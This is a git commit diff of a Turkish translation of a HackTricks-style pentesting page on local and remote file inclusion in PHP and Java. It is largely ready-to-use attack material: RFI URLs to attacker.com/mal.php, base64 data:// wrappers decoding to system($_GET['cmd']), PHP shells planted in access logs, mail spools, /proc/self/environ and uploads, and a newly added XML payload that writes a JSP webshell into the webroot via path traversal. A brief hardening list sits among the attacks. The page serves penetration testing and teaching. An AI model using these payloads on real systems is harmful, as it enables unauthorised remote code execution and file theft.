Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti

This commit is contained in:
Translator 2025-08-18 18:21:47 +00:00
parent 18b7400ef5
commit f9ea991dba
2 changed files with 186 additions and 109 deletions

View File

@ -4,7 +4,7 @@
## Dosya Dahil Etme
**Uzaktan Dosya Dahil Etme (RFI):** Dosya, uzaktaki bir sunucudan yüklenir (En İyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu **varsayılan olarak devre dışıdır** (**allow_url_include**).\
**Uzak Dosya Dahil Etme (RFI):** Dosya, uzak bir sunucudan yüklenir (En iyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu **varsayılan olarak devre dışıdır** (**allow_url_include**).\
**Yerel Dosya Dahil Etme (LFI):** Sunucu, yerel bir dosyayı yükler.
Zafiyet, kullanıcının sunucu tarafından yüklenecek dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
@ -13,7 +13,7 @@ Zayıf **PHP fonksiyonları**: require, require_once, include, include_once
Bu zafiyeti istismar etmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Kör - İlginç - LFI2RCE dosyaları
## Blind - İlginç - LFI2RCE dosyaları
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
@ -49,7 +49,7 @@ Linux'un LFI listesini kontrol edin.
## Temel LFI ve bypass'ler
Tüm örnekler Yerel Dosya Dahil Etme için geçerlidir ancak Uzaktan Dosya Dahil Etme için de uygulanabilir (sayfa=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Tüm örnekler Yerel Dosya Dahil Etme için geçerlidir ancak Uzaktan Dosya Dahil Etme için de uygulanabilir (sayfa=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -86,7 +86,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri de tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır:
1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (bu, sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği gösterecek şekilde aşağıdaki gibi yapılandırılabilir:
1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (bu, sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği belirten aşağıdaki gibi yapılandırılabilir:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -94,7 +94,7 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Sonuçları Yorumlayın:** Sunucunun yanıtı, klasörün var olup olmadığını gösterir:
3. **Sonuçları Yorumla:** Sunucunun yanıtı, klasörün var olup olmadığını gösterir:
- **Hata / Çıktı Yok:** `private` klasörü muhtemelen belirtilen konumda mevcut değildir.
- **`/etc/passwd` İçeriği:** `private` klasörünün varlığı doğrulanmıştır.
4. **Kapsamlı Keşif:** Bulunan klasörler, aynı teknik veya geleneksel Yerel Dosya Dahil Etme (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla araştırılabilir.
@ -110,7 +110,7 @@ Path truncation, web uygulamalarında dosya yollarını manipüle etmek için ku
PHP'de, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsilleri eşdeğer olarak kabul edilebilir. Örneğin:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` ve `/etc/passwd/` hepsi aynı yol olarak değerlendirilir.
- Son 6 karakter `passwd` olduğunda, bir `/` eklemek (bunu `passwd/` yaparak) hedef dosyayı değiştirmez.
- Son 6 karakter `passwd` olduğunda, bir `/` eklemek (bunu `passwd/` yaparak) hedeflenen dosyayı değiştirmez.
- Benzer şekilde, bir dosya yoluna `.php` eklenirse (örneğin `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmeyecektir.
Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan `/etc/passwd` dosyasına erişmek için yol kısaltmasını nasıl kullanacağınızı göstermektedir:
@ -125,8 +125,8 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
Bu senaryolarda, gereken geçiş sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
- **Nokta Segmentleri ve Ekstra Karakterler Kullanma**: Geçiş dizileri (`../`) ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, bu sayede sunucu tarafından eklenen dizgiler etkili bir şekilde göz ardı edilir.
- **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'a gitmek için gereken `../` dizilerinin kesin sayısını bulmak mümkündür, böylece eklenen dizgiler (örneğin, `.php`) etkisiz hale getirilirken istenen yol (`/etc/passwd`) sağlam kalır.
- **Nokta Segmentleri ve Ekstra Karakterler Kullanma**: Geçiş dizileri (`../`) ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, sunucu tarafından eklenen dizgileri etkili bir şekilde göz ardı eder.
- **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'a gitmek için gereken `../` dizilerinin tam sayısını bulmak mümkündür, böylece eklenen dizgiler (örneğin, `.php`) etkisiz hale getirilirken istenen yol (`/etc/passwd`) sağlam kalır.
- **Sahte Bir Dizinle Başlama**: Yolu var olmayan bir dizinle (örneğin `a/`) başlatmak yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
Yol kısaltma teknikleri kullanılırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
```
## Uzaktan Dosya Dahil Etme
php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Kapalı.** Bunun çalışması için **Açık** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:
php'de bu varsayılan olarak devre dışıdır çünkü **`allow_url_include`** **Kapalı.** Bunun çalışması için **Açık** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -152,10 +152,10 @@ Eğer bir sebepten dolayı **`allow_url_include`** **Açık** ise, ancak PHP dı
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> [!TIP]
> Önceki kodda, son `+.txt` eklendi çünkü saldırganın `.txt` ile biten bir dizeye ihtiyacı vardı, bu yüzden dize bununla bitiyor ve b64 çözümlemesinden sonra o kısım sadece gereksiz veriler dönecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla, çalıştırılacak).
Başka bir örnek **`php://` protokolünü kullanmayan** şöyle olacaktır:
Başka bir örnek **`php://` protokolünü kullanmayan**:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
@ -177,7 +177,7 @@ Bu, [belgelere](https://docs.python.org/3.10/library/os.path.html#os.path.join)
## Java Dizinlerini Listele
Görünüşe göre, Java'da bir Yol Traversali varsa ve **bir dosya yerine bir dizin isterseniz**, **dizinin bir listesi döndürülür**. Bu, diğer dillerde (bildiğim kadarıyla) olmayacaktır.
Görünüşe göre Java'da bir Path Traversal varsa ve **bir dosya yerine bir dizin isterseniz**, **dizinin bir listesi döndürülür**. Bu, diğer dillerde (bildiğim kadarıyla) olmayacaktır.
## En İyi 25 parametre
@ -209,7 +209,7 @@ Yerel dosya dahil etme (LFI) zafiyetlerine karşı savunmasız olabilecek en iyi
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
## LFI / RFI PHP sarmalayıcıları ve protokolleri kullanarak
### php://filter
@ -229,7 +229,7 @@ PHP filtreleri, veriler **okunmadan veya yazılmadan önce temel değişiklik i
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). **Desteklenen tüm kodlamaların listesini** almak için konsolda `iconv -l` komutunu çalıştırın.
> [!WARNING]
> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin** üretebilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) bağlantısına bakın.
> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin** oluşturabilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için [**LFI2RCE php filtreleri aracılığıyla**](lfi2rce-via-php-filters.md) kontrol edin.
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi sızdırırken yararlıdır)
@ -238,7 +238,7 @@ PHP filtreleri, veriler **okunmadan veya yazılmadan önce temel değişiklik i
- `mcrypt.*` : Kullanımdan kaldırıldı
- `mdecrypt.*` : Kullanımdan kaldırıldı
- Diğer Filtreler
- php'de `var_dump(stream_get_filters());` komutunu çalıştırarak birkaç **beklenmedik filtre** bulabilirsiniz:
- php'de `var_dump(stream_get_filters());` çalıştırarak birkaç **beklenmedik filtre** bulabilirsiniz:
- `consumed`
- `dechunk`: HTTP chunked kodlamasını tersine çevirir
- `convert.*`
@ -273,7 +273,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### php filtrelerini oracle olarak kullanarak rastgele dosyaları okuma
[**Bu yazıda**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) sunulan bir teknik, sunucudan geri dönen çıktıyı almadan yerel bir dosyayı okumayı öneriyor. Bu teknik, php filtrelerini oracle olarak kullanarak dosyanın **boolean sızdırılması (karakter karakter)** üzerine kuruludur. Bunun nedeni, php filtrelerinin bir metni, php'nin bir istisna fırlatmasını sağlamak için yeterince büyük hale getirmek için kullanılabilmesidir.
[**Bu yazıda**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) sunulan bir teknik, sunucudan geri dönen çıktıyı almadan yerel bir dosyayı okumayı öneriyor. Bu teknik, php filtrelerini oracle olarak kullanarak dosyanın **boolean sızdırılması (karakter karakter)** üzerine kuruludur. Bunun nedeni, php filtrelerinin bir metni, php'nin bir istisna fırlatmasını sağlamak için yeterince büyütmek için kullanılabilmesidir.
Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak burada hızlı bir özet:
@ -283,11 +283,11 @@ Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak b
- Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemizi sağlayacaktır; çünkü yeterince dönüşüm yaptığımızda artık bir onaltılık karakter olmaktan çıkacaktır. Çünkü eğer onaltılık ise, dechunk onu silmeyecek ve başlangıç bombası php hatasını tetikleyecektir.
- **convert.iconv.UNICODE.CP930** codec'i her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık bir onaltılık karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir.
- Başlangıçta **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer codec'ler, diğer harfleri onaltılık aralığına taşımak için kullanılabilir).
- İlk karakter bir sayı olduğunda, bunu base64 ile kodlamak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
- İlk karakter bir sayı olduğunda, bunu base64 kodlaması yapmak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
- Son sorun, **ilk harften daha fazlasını nasıl sızdıracağınızı** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi sıralı bellek filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk konumuna diğer harfleri almak mümkündür.
- Ve **daha fazla veri** elde edebilmek için, **başlangıçta 2 bayt çöp verisi oluşturma** fikri vardır; **convert.iconv.UTF16.UTF16** ile, bunu **sonraki 2 bayt ile pivotlamak için UCS-4LE** uygularız ve **çöp veriye kadar veriyi sileriz** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit'e ulaşana kadar bunu yapmaya devam edin.
- Ve **daha fazla veri** elde edebilmek için fikir, **başlangıçta 2 bayt çöp verisi oluşturmak** ve **convert.iconv.UTF16.UTF16** ile uygulamak, ardından **UCS-4LE** ile bunu **sonraki 2 baytla pivotlamak** ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit sızdırılana kadar bunu yapmaya devam edin.
Yazıda bunu otomatik olarak gerçekleştirmek için bir araç da sızdırılmıştır: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Yazıda bunu otomatik olarak gerçekleştiren bir araç da sızdırıldı: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@ -300,7 +300,7 @@ $myfile = fopen("/etc/passwd", "r");
### zip:// ve rar://
İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve buna erişin.\
İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve erişin.\
Rar protokolünü kötüye kullanabilmek için **özellikle etkinleştirilmesi gerekir**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi fonksiyonlar kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu parçası, bir `.phar` dosyasının oluşturulmasını göstermektedir:
Bir `.phar` dosyası, bir web uygulaması `include` gibi dosya yükleme fonksiyonlarını kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu, bir `.phar` dosyasının oluşturulmasını göstermektedir:
```php
<?php
$phar = new Phar('test.phar');
@ -356,11 +356,11 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
Yürütme sırasında `test.phar` adında bir dosya oluşturulacak ve bu, Yerel Dosya Dahil Etme (LFI) zafiyetlerini istismar etmek için kullanılabilir.
Yürütme sırasında, `test.phar` adında bir dosya oluşturulacak ve bu, Yerel Dosya Dahil Etme (LFI) zafiyetlerini istismar etmek için kullanılabilir.
LFI yalnızca dosya okumakla sınırlıysa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization zafiyetinin istismar edilmesi denenebilir. Bu zafiyet, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.
`.phar` dosyaları bağlamında deserialization zafiyetlerini istismar etmeye dair detaylı bir anlayış için aşağıdaki belgede yer alan bağlantıya bakın:
`.phar` dosyaları bağlamında deserialization zafiyetlerini istismar etmeye dair detaylı bir anlayış için aşağıda bağlantısı verilen belgeye bakın:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -370,22 +370,22 @@ phar-deserialization.md
### CVE-2024-2961
**php filtrelerini destekleyen herhangi bir keyfi dosya okuma** istismar edilerek RCE elde etmek mümkündü. Detaylııklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Çok hızlı bir özet: PHP yığınında bir **3 bayt taşması** istismar edilerek **belirli boyuttaki serbest parçaların zinciri** değiştirilerek **herhangi bir adrese yazma** imkanı sağlandı, böylece **`system`** çağrısı yapmak için bir hook eklendi.\
**php filtrelerini destekleyen herhangi bir rastgele dosyanın okunması** istismar edilerek RCE elde etmek mümkündü. Detaylııklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Çok hızlı bir özet: PHP yığınında **3 baytlık bir taşma** istismar edilerek **belirli boyutlardaki serbest parçaların zinciri** değiştirildi ve böylece **herhangi bir adrese yazma** imkanı sağlandı, bu nedenle **`system`** çağrısı yapmak için bir hook eklendi.\
Daha fazla php filtresi istismar edilerek belirli boyutlarda parçalar tahsis etmek mümkündü.
### Daha Fazla Protokol
Burada dahil edilebilecek daha fazla [**protokolü kontrol edin**](https://www.php.net/manual/en/wrappers.php)**:**
Buraya dahil edilebilecek daha fazla [**protokolü kontrol edin**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bu, bir dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bu dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Sıkıştırma Akışları
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Hiçbir yazdırılabilir şey döndürmez, bu yüzden burada pek faydalı değil)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Hiçbir yazdırılabilir şey döndürmediği için burada pek faydalı değil)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Güvenli Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Keyfi dosyaları okumak için faydalı değil)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Rastgele dosyaları okumak için faydalı değil)
## PHP'nin 'assert' ile LFI
@ -395,7 +395,7 @@ PHP'deki Yerel Dosya Dahil Etme (LFI) riskleri, dizeler içinde kod çalıştır
```bash
assert("strpos('$file', '..') === false") or die("");
```
Bu, geçişi durdurmayı amaçlasa da, istemeden kod enjeksiyonu için bir vektör oluşturur. Dosya içeriğini okumak için bunu istismar etmek isteyen bir saldırgan şunları kullanabilir:
Bu, geçişi durdurmayı amaçlasa da, istemeden kod enjeksiyonu için bir vektör oluşturur. Dosya içeriklerini okumak için bunu istismar etmek üzere bir saldırgan şunları kullanabilir:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -403,18 +403,18 @@ Benzer şekilde, rastgele sistem komutları çalıştırmak için şunlar kullan
```plaintext
' and die(system("id")) or '
```
Önemli olan **bu yükleri URL-encode etmektir**.
**Bu yükleri URL-encode etmek önemlidir.**
## PHP Blind Path Traversal
> [!WARNING]
> Bu teknik, **bir PHP fonksiyonunun** **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir; bu fonksiyon bir **dosyaya erişecek** ancak dosyanın içeriğini göremeyeceksiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmeyecek.
> Bu teknik, bir **PHP fonksiyonu** tarafından **bir dosyaya erişilecek** **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir, ancak dosyanın içeriğini göremezsiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmez.
[**bu inanılmaz yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) bir blind path traversal'ın PHP filtresi aracılığıyla **bir hata oracle'ı üzerinden bir dosyanın içeriğini dışarı sızdırmak için nasıl kötüye kullanılabileceği** açıklanmaktadır.
[**bu inanılmaz yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) bir kör yol geçişinin PHP filtresi aracılığıyla nasıl kötüye kullanılabileceği ve **bir hata oracle'ı aracılığıyla bir dosyanın içeriğinin nasıl dışa aktarılabileceği** açıklanmaktadır.
Özetle, teknik, bir dosyanın içeriğini o kadar **büyük** yapmak için **"UCS-4LE" kodlamasını** kullanmaktadır ki, dosyayı açan **PHP fonksiyonu** bir **hata** tetikleyecektir.
Sonra, ilk karakteri sızdırmak için filtre **`dechunk`** diğerleriyle birlikte kullanılır, örneğin **base64** veya **rot13** ve nihayetinde filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** kullanılarak **diğer karakterler başa yerleştirilir ve sızdırılır**.
Daha sonra, ilk karakteri sızdırmak için filtre **`dechunk`** kullanılır ve **base64** veya **rot13** gibi diğer filtrelerle birlikte kullanılır ve nihayetinde **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri **diğer karakterleri başa yerleştirmek ve sızdırmak için** kullanılır.
**Zayıf olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (sadece hedef okuma için bunu kullanın)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@ -422,21 +422,67 @@ Teknik detaylar için belirtilen yazıya bakın!
## LFI2RCE
### Remote File Inclusion
### Yol Geçişi ile Rastgele Dosya Yazma (Webshell RCE)
Sunucu tarafı kodu, dosyaları alırken/yüklerken, hedef yolu kullanıcı kontrolündeki verileri (örneğin, bir dosya adı veya URL) kullanarak oluşturduğunda, bunu kanonize etmeden ve doğrulamadan yaparsa, `..` segmentleri ve mutlak yollar, hedef dizinden çıkabilir ve rastgele bir dosya yazımına neden olabilir. Yükü web'e açık bir dizine yerleştirebilirseniz, genellikle bir webshell bırakarak kimlik doğrulaması gerektirmeyen RCE elde edersiniz.
Tipik istismar iş akışı:
- Bir yol/dosya adı kabul eden ve içeriği diske yazan bir uç noktada veya arka planda çalışan bir işçi içinde bir yazma ilkesini tanımlayın (örneğin, mesaj odaklı alım, XML/JSON komut işleyicileri, ZIP çıkarıcıları vb.).
- Web'e açık dizinleri belirleyin. Yaygın örnekler:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/``shell.jsp` bırakın
- IIS: `C:\inetpub\wwwroot\``shell.aspx` bırakın
- Hedef depolama dizininden web köküne çıkacak bir geçiş yolu oluşturun ve webshell içeriğinizi ekleyin.
- Bırakılan yüke göz atın ve komutları çalıştırın.
Notlar:
- Yazma işlemini gerçekleştiren zayıf hizmet, HTTP dışındaki bir portta dinleyebilir (örneğin, TCP 4004'te bir JMF XML dinleyicisi). Ana web portalı (farklı port) daha sonra yükünüzü sunacaktır.
- Java yığınlarında, bu dosya yazımları genellikle basit `File`/`Paths` birleştirmesi ile uygulanır. Kanonizasyon/izin listesi eksikliği temel hatadır.
Genel XML/JMF tarzı örnek (ürün şemaları değişir DOCTYPE/gövde sarmalayıcı geçiş için alakasızdır):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
```
Bu sınıf hataları yenmek için sertleştirme:
- Kanonik bir yola çözümleyin ve bunun izin verilen bir temel dizinin alt öğesi olduğunu zorlayın.
- `..`, mutlak kökler veya sürücü harfleri içeren herhangi bir yolu reddedin; üretilen dosya adlarını tercih edin.
- Yazıcıyı düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini sunulan köklerden ayırın.
## Uzak Dosya Dahil Etme
Daha önce açıklandığı gibi, [**bu bağlantıyı takip edin**](#remote-file-inclusion).
### Apache/Nginx log dosyası aracılığıyla
### Apache/Nginx günlük dosyası aracılığıyla
Eğer Apache veya Nginx sunucusu **LFI'ye karşı zayıfsa**, dahil etme fonksiyonu içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`** dosyasına erişmeye çalışabilirsiniz, **kullanıcı ajanı** içinde veya bir **GET parametresi** içinde **`<?php system($_GET['c']); ?>`** gibi bir php shell ayarlayıp o dosyayı dahil edebilirsiniz.
Eğer Apache veya Nginx sunucusu **LFI'ye karşı savunmasızsa** dahil etme işlevi içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`** dosyasına erişmeye çalışabilirsiniz, **kullanıcı ajanı** içinde veya bir **GET parametresi** içinde **`<?php system($_GET['c']); ?>`** gibi bir php shell ayarlayın ve o dosyayı dahil edin.
> [!WARNING]
> Shell için **çift tırnak** kullanıyorsanız, **basit tırnaklar** yerine, çift tırnaklar "_**quote;**_" dizesi için değiştirilecektir, **PHP orada bir hata verecektir** ve **başka hiçbir şey çalıştırılmayacaktır**.
> **Shell için çift tırnak** kullanıyorsanız, **basit tırnaklar** yerine, çift tırnaklar "_**quote;**_" dizesi için değiştirilecektir, **PHP burada bir hata verecektir** ve **başka hiçbir şey çalıştırılmayacaktır**.
>
> Ayrıca, **yükü doğru yazdığınızdan emin olun** yoksa PHP, log dosyasını yüklemeye çalıştığında her seferinde hata verecek ve ikinci bir fırsatınız olmayacaktır.
> Ayrıca, **payload'ı doğru yazdığınızdan emin olun** yoksa PHP her log dosyasını yüklemeye çalıştığında hata verecektir ve ikinci bir fırsatınız olmayacaktır.
Bu, diğer loglarda da yapılabilir ama **dikkatli olun**, loglardaki kod URL encoded olabilir ve bu Shell'i bozabilir. **Authorization "basic"** başlığı, "user:password" içeriğini Base64 formatında taşır ve loglar içinde çözülür. PHPShell bu başlık içine yerleştirilebilir.\
Diğer olası log yolları:
Bu, diğer günlüklerde de yapılabilir ama **dikkatli olun,** günlüklerdeki kod URL kodlanmış olabilir ve bu Shell'i bozabilir. **"basic"** yetkilendirme başlığı, Base64'te "kullanıcı:şifre" içerir ve günlüklerde çözülür. PHPShell bu başlık içine yerleştirilebilir.\
Diğer olası günlük yolları:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -452,27 +498,27 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### E-posta ile
**Bir e-posta gönderin** iç hesap (user@localhost) içeren PHP yüklemenizle birlikte `<?php echo system($_REQUEST["cmd"]); ?>` ve kullanıcı e-postasına **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`** gibi bir yol ile dahil etmeye çalışın.
**Bir e-posta gönderin** iç hesap (user@localhost) PHP yüklemenizi içeren `<?php echo system($_REQUEST["cmd"]); ?>` ve kullanıcı e-postasına **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`** gibi bir yol ile dahil etmeye çalışın.
### /proc/\*/fd/\* ile
### /proc/\*/fd/\* üzerinden
1. Birçok shell yükleyin (örneğin: 100)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) dahil edin, burada $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (brute force ile bulunabilir).
### /proc/self/environ ile
### /proc/self/environ üzerinden
Bir log dosyası gibi, yüklemeyi User-Agent içinde gönderin, bu /proc/self/environ dosyası içinde yansıtılacaktır.
Bir log dosyası gibi, yüklemeyi User-Agent içinde gönderin, bu /proc/self/environ dosyasında yansıtılacaktır.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
### Yükleme yoluyla
Eğer bir dosya yükleyebiliyorsanız, sadece shell yükünü içine enjekte edin (örneğin: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Dosyanın okunabilirliğini korumak için, resimlerin/doc/pdf'nin meta verilerine enjekte etmek en iyisidir.
Görsel/doküman/pdf'lerin meta verilerine enjekte etmek, dosyanın okunabilirliğini korumak için en iyisidir.
### Zip dosyası yükleyerek
@ -482,7 +528,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP oturumları
